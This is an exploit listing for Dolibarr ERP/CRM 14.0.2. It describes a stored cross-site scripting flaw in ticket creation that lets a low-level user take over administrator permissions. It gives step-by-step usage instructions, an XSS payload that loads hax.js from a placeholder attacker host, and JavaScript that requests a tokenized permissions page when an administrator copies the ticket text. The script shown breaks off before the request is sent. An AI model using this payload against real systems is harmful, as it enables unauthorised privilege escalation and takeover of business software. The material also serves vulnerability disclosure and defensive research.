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Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation

Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation
Posted Oct 19, 2021
Authored by Oscar Gutierrez

Dolibarr ERP and CRM 14.0.2 suffers from a persistent cross site scripting vulnerability that enables privilege escalation.

tags | exploit, xss
SHA-256 | 166a8c6b493d8615a3ec9dbdabaa45c38426bcb863b2a64ad1c9311702ee137a

Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation

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# Exploit Title: Dolibarr ERP & CRM v14.0.2 Stored XSS / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 9, 2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2
# Exploit Description:
# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box.
# Instructions:
#1. Insert this payload in the message box when creating a ticket: "><span onbeforecopy="let pwned = document.createElement('script'); pwned.setAttribute('src', 'http://YOURIPGOESHERE/hax.js'); document.body.appendChild(pwned);" contenteditable>test</span>
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference.
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user.
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

var data = xhr.responseXML;
var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
console.log(tokenizedUrl);
return tokenizedUrl;

}

function escalatePrivs() {
var url = read_body(xhr);
var http = new XMLHttpRequest();
http.open('GET', url);
http.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
return;
}
};
http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
read_body(xhr);
escalatePrivs(xhr);
}
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);
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